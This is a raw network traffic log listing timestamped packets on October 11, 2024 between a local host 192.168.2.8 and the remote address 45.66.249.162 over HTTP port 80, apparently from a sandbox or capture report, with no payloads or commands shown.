Oct 11, 2024 22:32:41.649332047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649338961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649363041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649374962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649395943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649403095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649437904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649446011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649481058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649487972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649514914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649522066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649547100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649557114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649589062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649594069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649622917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649635077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649656057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649672985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649692059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649696112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649734974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649740934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649774075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649784088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649806976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649820089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649852991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649884939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649903059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649915934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649930954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649933100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649945021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649947882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649959087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649966955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649967909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649975061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649985075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649986029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650018930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650032043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650038004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650072098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650080919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650105000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650114059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650137901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650146961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650177002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650192976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650233984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650331974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650382042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650383949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650415897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650425911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650449038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650459051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650482893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650497913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650518894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650523901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650551081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650557995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650583029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650593042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650615931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650624990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650651932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650657892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650684118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650691986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650717020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650729895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650753021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650762081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650785923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650787115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650814056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650834084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650847912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650857925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650882006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650891066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650913954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650928020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650948048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650954962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.650979996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.650990963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651012897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651020050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651048899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651056051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651087046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651089907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651118994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651134014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651151896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651170969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651184082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651201010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651216984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651232004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651249886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651254892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651283026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651292086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651315928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651321888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651349068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651365995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651381016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651403904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651443005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651453972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651487112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651495934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651520014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651520967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651554108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651561975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651587963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651597023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651619911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651634932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651654005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651664019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651685953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651695967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651726961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651726961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651765108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651767969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651798010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651808977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651830912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651840925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651866913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651875019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651900053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651905060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651937008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651941061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.651968956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.651978970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652004004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652008057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652036905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652064085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652070045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652080059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652110100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652113914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652143002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652156115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652175903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652193069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652209044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652215004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652242899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652250051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652278900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652282000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652312040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652318001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652344942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652350903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652378082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652386904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652412891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652415037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652446032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652451038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652479887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652491093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652512074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652527094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652544975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652549982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652578115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652589083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652611971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652618885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652645111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.652658939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.652687073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.673698902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.678677082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144072056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144171953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144186020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144198895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144210100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144222021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144223928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.144232988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144246101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144258976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144270897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144273043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.144273043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.144283056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.144284964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.144306898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.144325972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.297817945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297843933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297856092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297873020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297884941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297899008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297904968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297907114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297910929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297921896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297929049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.297970057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298024893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298069000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298079967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298091888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298103094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298111916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298118114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298122883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298130035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298132896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298151016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298161983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298162937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298172951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298177958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298187017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298197985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298206091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298209906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.298235893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.298254967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695678949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695698023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695710897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695729017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695740938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695750952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695749998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695761919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695774078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695785999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695792913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695804119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695816040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695823908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695827961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695848942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695866108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695868015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695899963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.695945024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695956945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695967913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695977926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695987940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.695991039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696000099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696003914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696034908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696062088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696095943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696100950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696111917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696136951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696176052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696187019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696203947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696213961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696219921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696224928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696235895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696239948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696249962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696257114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696260929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696283102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696310997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696331978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696343899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696353912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696363926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696369886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696374893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696396112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696413040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696672916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696682930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696687937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.696719885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.696732044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702394962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702408075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702419996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702460051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702460051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702471018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702481985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702491999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702491999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702498913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702503920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702529907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702537060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702548027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702550888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702562094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702572107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702573061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702584028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702591896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702615023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702677011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702698946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702709913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702721119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702730894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702740908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702740908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702754021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702764034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:42.702764988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:42.702778101 CEST	80	49707	45.66.249.162	192.168.2.8
